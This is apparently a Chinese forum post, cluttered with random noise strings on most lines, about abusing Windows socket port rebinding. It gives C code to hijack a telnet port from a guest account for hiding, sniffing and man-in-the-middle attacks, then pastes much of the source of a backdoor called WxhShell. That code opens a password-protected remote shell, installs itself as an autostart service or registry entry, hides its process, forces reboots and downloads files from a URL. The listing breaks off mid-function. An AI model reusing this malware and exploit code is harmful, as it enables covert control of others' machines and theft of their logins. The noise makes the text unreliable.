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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  u+]8Sq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i"y @Aj!7  
:AC(  \  
  saddr.sin_family = AF_INET; j{NcDe pLn  
%y\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {X&H  
,-Yl%R.W=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O ;B[ZMV  
:W1B"T<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4"%LgV`  
M[ ,:NE4H  
  这意味着什么?意味着可以进行如下的攻击: 09HqiROw  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k!wEPi]  
#6Fc-ysk:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 140_WV?7  
ygTc Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]AB4w+6!  
@avG*Mr^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p!~V@l  
X~g~U|B@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V0F&a~Q  
p+1kU1F0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Sa$-Yf  
Eg#WR&Uq"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ksli-Px  
e:RgCDWL  
  #include XRWy#Pj  
  #include JE/Kf<  
  #include !&vPG>V  
  #include    (%iCP/E3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eq$.np  
  int main() |Skhx9};  
  { kG3m1: :  
  WORD wVersionRequested; B["C~aF  
  DWORD ret; 2G BE=T  
  WSADATA wsaData; .OSFLY#[?  
  BOOL val; .0'FW!;FV  
  SOCKADDR_IN saddr; &^^V*O  
  SOCKADDR_IN scaddr; 5g;i{T/6~x  
  int err; |]x>|Z?/u  
  SOCKET s; </jTWc'}  
  SOCKET sc; j q1 |`:  
  int caddsize; >Y"Ru#Ju9  
  HANDLE mt; Dt*/tVF  
  DWORD tid;   QNgfvy  
  wVersionRequested = MAKEWORD( 2, 2 ); aO$I|!tl  
  err = WSAStartup( wVersionRequested, &wsaData ); rl](0"Y0 t  
  if ( err != 0 ) { jZ>x5 W  
  printf("error!WSAStartup failed!\n"); 5Z*6,P0  
  return -1; y` 6!Vj l  
  } 4jdP3Q/  
  saddr.sin_family = AF_INET; BBlYy5x  
   ^;a~_9 m-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2"!s8x1$  
tsN,yI]-VA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z+G/==%3#,  
  saddr.sin_port = htons(23); (E]q>'X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~~X-$rtU  
  { QL`Hb p  
  printf("error!socket failed!\n"); q jmlwVw  
  return -1; xv>]e <":  
  } XMw*4j2E  
  val = TRUE; >K-S&Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qv.s-@l8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j )b[7%  
  { gano>W0  
  printf("error!setsockopt failed!\n"); i9j#Tu93 f  
  return -1; fu $<*Sa2  
  } <#F@OU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bOS; 1~~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X6SWcJtSw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J>p6')Y6~  
nv/'C=+L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $ucA.9pJ  
  { ?_nbaFQK3  
  ret=GetLastError(); :SvgXMY@  
  printf("error!bind failed!\n"); z6;6 o!ej  
  return -1; ^n&_JQIXb  
  } B'8/`0^n5  
  listen(s,2); V(3=j)#  
  while(1) 'CA{>\F$F+  
  { mL]a_S{H  
  caddsize = sizeof(scaddr); 6-J%Z%yT #  
  //接受连接请求 6g&Ev'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'Uu!K!  
  if(sc!=INVALID_SOCKET) )4e?-?bK!  
  { kBg8:bo~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aGq1 YOD[$  
  if(mt==NULL) q1?}G5a ?  
  { kqQT^6S   
  printf("Thread Creat Failed!\n"); ?Es(pwJB  
  break; SZ(]su:  
  } u4vyj#V  
  } uJ T^=Y  
  CloseHandle(mt); iqr/MB,W  
  } omzG/)M:O  
  closesocket(s); Z|$M 9E  
  WSACleanup(); N`et]'_A}  
  return 0; ce:p*  
  }   ;{89*e*)  
  DWORD WINAPI ClientThread(LPVOID lpParam) jIi:tO9G^,  
  { x7ZaI{    
  SOCKET ss = (SOCKET)lpParam; y XT8:2M  
  SOCKET sc; #.j}:  
  unsigned char buf[4096]; T:I34E[  
  SOCKADDR_IN saddr; bYAtUEv  
  long num; .W s\%S  
  DWORD val; 1s/548wu  
  DWORD ret; 6W[~@~D=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %8{nuq+c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wl7 (|\-  
  saddr.sin_family = AF_INET; ApNS0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3t9Weo)  
  saddr.sin_port = htons(23); .C,D;T{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Vl9/IEk  
  { YJu~iQ`i  
  printf("error!socket failed!\n"); Ake@krh>$  
  return -1; SNtk1pG>  
  } 5D eo}(3  
  val = 100; ez<V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2"6bz^>}  
  { g5:?O,?  
  ret = GetLastError(); 'S%H"W\  
  return -1; 5.d[C/pRw  
  } sOVU>tb\'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -}(2}~{e(  
  { l}SHR|7<  
  ret = GetLastError(); OXJ'-EZH  
  return -1; 0p]v#z}  
  } /]oQqZHv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?W2u0N  
  { _;M3=MTM9  
  printf("error!socket connect failed!\n"); 7YFEyX10d  
  closesocket(sc); \{ve6`7Rn  
  closesocket(ss); lFl(Sww!\  
  return -1; # /Bg5:  
  } Bmt^*;WY+  
  while(1) 6=:s3I^  
  { `I.pwst8i-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @;\0cE n>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q_>W!)p Gz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R,ZG?/#uM9  
  num = recv(ss,buf,4096,0); nF B]#LLv  
  if(num>0) MX iQWg$  
  send(sc,buf,num,0); h0$Y;=YA  
  else if(num==0) 6EeO\Qj{  
  break; eG7Yyz+t$  
  num = recv(sc,buf,4096,0); 9l(T>B2a  
  if(num>0) )2a)$qx;  
  send(ss,buf,num,0); ]I_*+^?tI  
  else if(num==0) aW-6$=W  
  break; :V1j*)  
  } tI)|y?q  
  closesocket(ss); _n1[(I  
  closesocket(sc); "VDMO^  
  return 0 ; Al=ByX@  
  } y @S_CB 47  
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MU%7'J :_  
========================================================== <RKT |  
@VPmr}p:{  
下边附上一个代码,,WXhSHELL u*/+cT  
pH3<QNq5  
========================================================== o7 t{?|  
5 owK2  
#include "stdafx.h" Lw2VdFi>E&  
rr,w/[  
#include <stdio.h> &r\8VEZq"  
#include <string.h> \W]gy_=D{  
#include <windows.h> |Ve,Y  
#include <winsock2.h> VD< z]@  
#include <winsvc.h> 2vWn(6`  
#include <urlmon.h> /'VbV8%  
0(*L)s,5  
#pragma comment (lib, "Ws2_32.lib") f7y.##WG  
#pragma comment (lib, "urlmon.lib") v2_` iwE  
AJm$(3?/D  
#define MAX_USER   100 // 最大客户端连接数 tv26eK 38  
#define BUF_SOCK   200 // sock buffer 1 +[sM  
#define KEY_BUFF   255 // 输入 buffer T7%!JBg@  
'%82pZ,?  
#define REBOOT     0   // 重启 Nte$cTjX  
#define SHUTDOWN   1   // 关机 #*:^\z_Jd  
$xWUzg1<U  
#define DEF_PORT   5000 // 监听端口 Qe{w)e0}`  
q k 6  
#define REG_LEN     16   // 注册表键长度 8CZ%-}-%$  
#define SVC_LEN     80   // NT服务名长度 k/D{&(F ~  
*~>p;*  
// 从dll定义API X'-Yz7J?o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !|up"T I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7f4O~4.[i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :eSsqt9]9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &7oL2 Wf  
=YTcWB  
// wxhshell配置信息 Qn,6s%n  
struct WSCFG { _&/ {A|n  
  int ws_port;         // 监听端口 IzJq:G.  
  char ws_passstr[REG_LEN]; // 口令 B0%=! &  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 h?'zyX B  
  char ws_regname[REG_LEN]; // 注册表键名 [iEz?1.,  
  char ws_svcname[REG_LEN]; // 服务名 !1fZ7a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 @xl{S-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z}B 39L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mx$&{.LFJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xh>($ U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?:ZB'G{%E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Uwji  
marZA'u%B1  
}; Z Cjw)To(  
U2A 82;Z  
// default Wxhshell configuration L-!1ybB^  
struct WSCFG wscfg={DEF_PORT, S YDE`-  
    "xuhuanlingzhe", Q{RmE:  
    1, H=Ilum06  
    "Wxhshell", KVJ, a  
    "Wxhshell", (Xcy/QT  
            "WxhShell Service", 8M@'A5]  
    "Wrsky Windows CmdShell Service", RGE(#   
    "Please Input Your Password: ", {X&lgj  
  1, 80wzn,o S  
  "http://www.wrsky.com/wxhshell.exe", &8z<~q  
  "Wxhshell.exe" \1Xk[%  
    }; dniU{v  
:#pdyJQ_  
// 消息定义模块 Iz5NA0[=2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _BmObXOp.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ph1XI&us9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =i&,I{3  
char *msg_ws_ext="\n\rExit."; > 'hM"4f  
char *msg_ws_end="\n\rQuit."; 6eB;  
char *msg_ws_boot="\n\rReboot..."; 8.#{J&h  
char *msg_ws_poff="\n\rShutdown..."; iBd6&?E?<  
char *msg_ws_down="\n\rSave to "; %^pi  
m&Mupl  
char *msg_ws_err="\n\rErr!"; +ti ?7|bK<  
char *msg_ws_ok="\n\rOK!"; j 0pI  
[YfoQ1  
char ExeFile[MAX_PATH]; w_xca(  
int nUser = 0; ~DI$O[KpR%  
HANDLE handles[MAX_USER]; :Iv;%a0 -  
int OsIsNt; UnF8#~  
-juG[zn  
SERVICE_STATUS       serviceStatus; IB/3=4n^|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g4$(%]  
&~ y)b`r  
// 函数声明 >F7w]XH  
int Install(void); >H!Mx_fDL  
int Uninstall(void); FM >ae-L-  
int DownloadFile(char *sURL, SOCKET wsh); X,7y|tb  
int Boot(int flag); 6!ve6ZB[p  
void HideProc(void); e "A"  
int GetOsVer(void); qk1jmr  
int Wxhshell(SOCKET wsl); .h7s.p?  
void TalkWithClient(void *cs); g[3LPKQ  
int CmdShell(SOCKET sock); s|]g@cz an  
int StartFromService(void); DAB9-[y+  
int StartWxhshell(LPSTR lpCmdLine); [|DKBJ  
HUi?\4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #]kjyT0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ttzNv>L,  
4^tSg#!V{  
// 数据结构和表定义 ?;XEb\Kf  
SERVICE_TABLE_ENTRY DispatchTable[] = )U?_&LY)[M  
{ '4[=*!hs!  
{wscfg.ws_svcname, NTServiceMain}, \^c4v\s<o#  
{NULL, NULL} wZiUzS ;v  
}; O1J&Lwpk,  
q8v[u_(yD  
// 自我安装 i2~uhGJ  
int Install(void) f"QiVJq  
{ Q+ ^ &  
  char svExeFile[MAX_PATH]; -n|bi cP  
  HKEY key; 1cLtTE  
  strcpy(svExeFile,ExeFile); _rT\?//B  
CubQ6@,  
// 如果是win9x系统,修改注册表设为自启动 .$qa?$@  
if(!OsIsNt) { h[ DNhR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T{k P9 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <v:VA!]  
  RegCloseKey(key); 5ilGWkb`'X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tnRf!A;m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oJz2-P mX  
  RegCloseKey(key); n|w+08c"  
  return 0; 3 !"N;Q"  
    } 9\?OV @  
  } >='/%Ad  
} $YL9 vJV  
else { Gk,Bx1y  
E.oJ[;  
// 如果是NT以上系统,安装为系统服务 GXtMX ha,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LL^KZ-  
if (schSCManager!=0) K4c:k; V  
{ Jz}nV1G(jz  
  SC_HANDLE schService = CreateService 94u{k1d x  
  ( .+9hm|  
  schSCManager, #z*,CU#S9d  
  wscfg.ws_svcname, H_DCdUgC'  
  wscfg.ws_svcdisp, 9y7N}T6  
  SERVICE_ALL_ACCESS, J D\tt-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tE7jTe  
  SERVICE_AUTO_START, O VV@  
  SERVICE_ERROR_NORMAL, m[9.'@ ye  
  svExeFile, (vs<Fo|]  
  NULL, *'< AwG&  
  NULL, M!UTqf7XL  
  NULL, 'wND  
  NULL, .DCHc,DxA  
  NULL  0#,a#P  
  ); Ys"wG B>  
  if (schService!=0) /{i~CGc ;"  
  { _4ag-'5  
  CloseServiceHandle(schService); F"@%7xy  
  CloseServiceHandle(schSCManager); x84!/n^z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X'Ss#s>g  
  strcat(svExeFile,wscfg.ws_svcname);  < $~lFV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8+zW:0"[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3db{Tcn\@]  
  RegCloseKey(key); w?Te%/s.  
  return 0; Q]:O#;"<  
    } g{8RPw]  
  } /WrB>w  
  CloseServiceHandle(schSCManager); f98,2I(>`+  
} 2"Os9 KD  
} ^9g$/8[^c_  
PobX;Z  
return 1; gq+SM  i=  
} 1K72}Gj)ZL  
'0<d9OlJ}  
// 自我卸载 t&r.Kf9Z\  
int Uninstall(void) zC?' Qiuh*  
{ @,vmX z  
  HKEY key; DD| 0?i  
sZ.<:mu[  
if(!OsIsNt) { zA,vp^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $@g]?*L:  
  RegDeleteValue(key,wscfg.ws_regname); 8:ubtB  
  RegCloseKey(key); Kb.qv)6i*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jh5QIZf=  
  RegDeleteValue(key,wscfg.ws_regname); NVyBEAoh  
  RegCloseKey(key); o<`vh*U@,4  
  return 0; C"hN2Z!CD|  
  } @KN+)qP  
} mzgt>Qtkz=  
} P*|N)S)X%  
else { H|9t5   
aO6\ e>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LU1I `E  
if (schSCManager!=0) h<9s& p  
{ jUe@xi s<T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dd3f@b[WX  
  if (schService!=0) -;""l{  
  { 3uL f0D  
  if(DeleteService(schService)!=0) { F'bwXb**  
  CloseServiceHandle(schService); A2_ut6&eb  
  CloseServiceHandle(schSCManager); om3 %\  
  return 0; E)"19l|}B  
  } peQwH  
  CloseServiceHandle(schService); B}e/MlX3M  
  } nzq   
  CloseServiceHandle(schSCManager); m4:c$5  
}  ~?ab_CY  
} ^7gGtz2  
t^s&1#iC  
return 1; &i#$ia r  
} _y@ 28t  
Y]z :^D  
// 从指定url下载文件 wi(Y=?=  
int DownloadFile(char *sURL, SOCKET wsh) ]vrZGX a+  
{ Ln"wj O ,  
  HRESULT hr; ;kFD769DLw  
char seps[]= "/"; ClG%zE&i  
char *token; 2qMiX|Y  
char *file; m%'nk"p9  
char myURL[MAX_PATH]; L9GLj Rp-  
char myFILE[MAX_PATH]; q+g,?;Yx  
b--=GY))F  
strcpy(myURL,sURL); F%OP,>zl  
  token=strtok(myURL,seps); Y(Q 0m|3P  
  while(token!=NULL) >O'\ jp}$l  
  { C$[d~1t6  
    file=token; d&AG~,&d|  
  token=strtok(NULL,seps);  Nx}nOm  
  } *PJH&g#Ge  
ZU4=&K  
GetCurrentDirectory(MAX_PATH,myFILE); bA;OphO(  
strcat(myFILE, "\\"); a:FU- ^B4~  
strcat(myFILE, file); 6$u/N gS  
  send(wsh,myFILE,strlen(myFILE),0); _v!7 |&\  
send(wsh,"...",3,0); Xs03..S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *?)MJ@  
  if(hr==S_OK) +! 1_Mt6  
return 0; 1d^~KBfv  
else oD)x\ )t8  
return 1; |9* Rnm_  
u$ts>Q;5  
} )aS:h}zn  
Q*DT" W/0  
// 系统电源模块 m\:^9A4HCg  
int Boot(int flag) V!}I$JiJ  
{ ]RVu[k8  
  HANDLE hToken; r,5e/X  
  TOKEN_PRIVILEGES tkp; -@v^. @[Z&  
iZGbNN  
  if(OsIsNt) { u 3WU0Z`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {X!vb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )CGQ}  
    tkp.PrivilegeCount = 1; P,v7twc0M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r!r08y f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xfk -Ezv  
if(flag==REBOOT) { Yuv(4a<M%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tXE/aY*I  
  return 0; dOjly,!  
} pF;.nt)  
else { b 74 !Zw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;-db/$O  
  return 0; d$ouH%^cGu  
} x]^d'o:cDP  
  } /s?%ft#-9o  
  else { >6es 5}  
if(flag==REBOOT) { @iz Onc:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fu7x,b0p  
  return 0; 7nt(Rtbsu  
} I|X`9  
else { mnt&!X4<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b(Y   
  return 0; GM|& ,}  
} ?QP>rm  
} YwVA].p@TI  
>d 5-if  
return 1; {`HbpM<=m]  
} kQ\GVI11?  
SSe;&Jk2d  
// win9x进程隐藏模块 757&bH|a  
void HideProc(void) l)r\SE1  
{ y-pdAkDh  
:zW? O#aL-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z$z-Hx@%  
  if ( hKernel != NULL ) {_7hX`p  
  { @&jR^`Y.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #  X (2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1P)K@j  
    FreeLibrary(hKernel); '4,?YcZ?S  
  } `zoHgn7B9q  
c |0p'EQ  
return; (Mv~0ShakO  
} 6(rm%c  
5BrN uR$  
// 获取操作系统版本 ju2H 0AQ  
int GetOsVer(void) ZayJllaq^  
{  |Iy;_8c  
  OSVERSIONINFO winfo; {$S"S j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r^k+D<k[7  
  GetVersionEx(&winfo); m"L^tSD~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [REH*_  
  return 1; B:>:$LIL  
  else QPuc{NcB>  
  return 0; O>E}Lu;|  
} {-)^?Zb @  
R0t!y3r&N  
// 客户端句柄模块 ,e'r 0  
int Wxhshell(SOCKET wsl) /#9P0@Y  
{ |=5zI6pT  
  SOCKET wsh; 9>{fsy  
  struct sockaddr_in client; `;mgJD  
  DWORD myID; m%9Yo%l~  
_DR@P(0>_  
  while(nUser<MAX_USER) 7-3  
{ NSVE3  
  int nSize=sizeof(client); " ILF!z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y`g O:d8  
  if(wsh==INVALID_SOCKET) return 1; $YJ 1P  
Mg >%EH/'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &D<6Go/)_*  
if(handles[nUser]==0) &5}YTKe}|  
  closesocket(wsh); UV(`.  
else x@ X2r  
  nUser++; 5,xPB5pK  
  } ( yLu=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dr)*.<_+a(  
%=z>kU1|  
  return 0; auI`'O`/  
} Le83[E*i  
0 Rb3| te  
// 关闭 socket WOPIF~1v  
void CloseIt(SOCKET wsh) 7,)E1dx -V  
{ I(UK9H{0$  
closesocket(wsh); ^a qQw u  
nUser--; l#uF%;GDX  
ExitThread(0); "s@Hg1  
} "= 2\kZ  
27}:f?2hbJ  
// 客户端请求句柄 ?* ~4~ZE E  
void TalkWithClient(void *cs) p*K #s1  
{ +wG *qI  
M._h=wX{}  
  SOCKET wsh=(SOCKET)cs; t!4 (a0\$F  
  char pwd[SVC_LEN]; f (C:J[;Z  
  char cmd[KEY_BUFF]; @l3&vt2=J  
char chr[1]; :TVo2Zm[@  
int i,j; FOD'&Yb&  
e"1mdw"  
  while (nUser < MAX_USER) { 7!qeIz  
a<*+rGI  
if(wscfg.ws_passstr) { '*[7O2\%/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5NkF_&S_1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eP (*.  
  //ZeroMemory(pwd,KEY_BUFF); Uhu?G0>O  
      i=0; 8K^#$,.."  
  while(i<SVC_LEN) { xlcCL?qQj  
-qpvVLR,  
  // 设置超时 HM(X8iNt  
  fd_set FdRead; N[9o6Nl|a  
  struct timeval TimeOut; Ri"rT] '  
  FD_ZERO(&FdRead); ^WU[+H ;  
  FD_SET(wsh,&FdRead); R;,5LS&*a  
  TimeOut.tv_sec=8; shGUG;  
  TimeOut.tv_usec=0; ?taC !{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uv5NqL&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q'fOlq  
RJ'za1@z;b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r`2V-E  
  pwd=chr[0]; ?Kmz urG  
  if(chr[0]==0xd || chr[0]==0xa) { NI/'SMj%  
  pwd=0; @Y,t]  
  break; =Crl{Ax  
  } *56j'FX  
  i++; ka=A:biz  
    } 1/bTwzR.g  
&R/-~w5  
  // 如果是非法用户,关闭 socket qAp <OJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); };r EN`L  
} gWro])3  
m, +E5^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K}q5,P(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); },<Y \  
ZC$u8$+P  
while(1) { n[BYBg1yG  
lB_4jc  
  ZeroMemory(cmd,KEY_BUFF); uD{^1c3x  
QP"5A7=m  
      // 自动支持客户端 telnet标准   -^np"Jk  
  j=0; Rxw+`ru  
  while(j<KEY_BUFF) { )EYs+7/t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  "X=^MGV  
  cmd[j]=chr[0]; ZHwl9n#m  
  if(chr[0]==0xa || chr[0]==0xd) { RK*tZ  
  cmd[j]=0; 1z; !)pG.  
  break; DZ`,QWuA  
  } |+~P; fG  
  j++; Q?.9BM1V  
    } i Ya)*,  
Lcg1X3$G  
  // 下载文件  w@mCQ$  
  if(strstr(cmd,"http://")) { }ub>4N[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U e-AF#  
  if(DownloadFile(cmd,wsh)) FYNUap,A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Nm{H  
  else z$Z%us>io  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvGo$f/9  
  } "tbKbFn9  
  else { P;7[5HFF  
od@!WjcM[8  
    switch(cmd[0]) { * W"Pv,:  
  U_9|ED:  
  // 帮助 $Q|6W &?[;  
  case '?': { TJcHqzcUc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SA"4|#3>7  
    break; ,LOx!  
  } 6QHUBm2  
  // 安装 M"-53|#:w\  
  case 'i': { eMOp}.zt|  
    if(Install()) ?t;,Nk`jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dF|n)+C~R  
    else x wfdJ(&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9e;{o,r@  
    break; Nog{w  
    } JBV 06T_4o  
  // 卸载 3"HEXJMc  
  case 'r': { # b3 14  
    if(Uninstall()) ieOw&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FIJ]`  
    else aTaL|&(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }PMlG  
    break; Qc Xw -  
    } R{B5{~m>W@  
  // 显示 wxhshell 所在路径 U~|)=+%O  
  case 'p': { :p1_ij]ND  
    char svExeFile[MAX_PATH]; 3;//o<  
    strcpy(svExeFile,"\n\r"); P=ubCS'  
      strcat(svExeFile,ExeFile); j;_E0j#  
        send(wsh,svExeFile,strlen(svExeFile),0); 1"l48NLL|  
    break; b^~4k; <  
    } p%Ns f[1>  
  // 重启 wLq#,X>%B  
  case 'b': { wG 5H^>6u>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [MAvU?;  
    if(Boot(REBOOT)) vA?3kfL|#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }y|_v^  
    else { 1LmbXH]%  
    closesocket(wsh); h?QGJ^#8  
    ExitThread(0); gE23C*!'&:  
    } H'@@%nO (  
    break; "NV~lJS%  
    } f1\mE~#}  
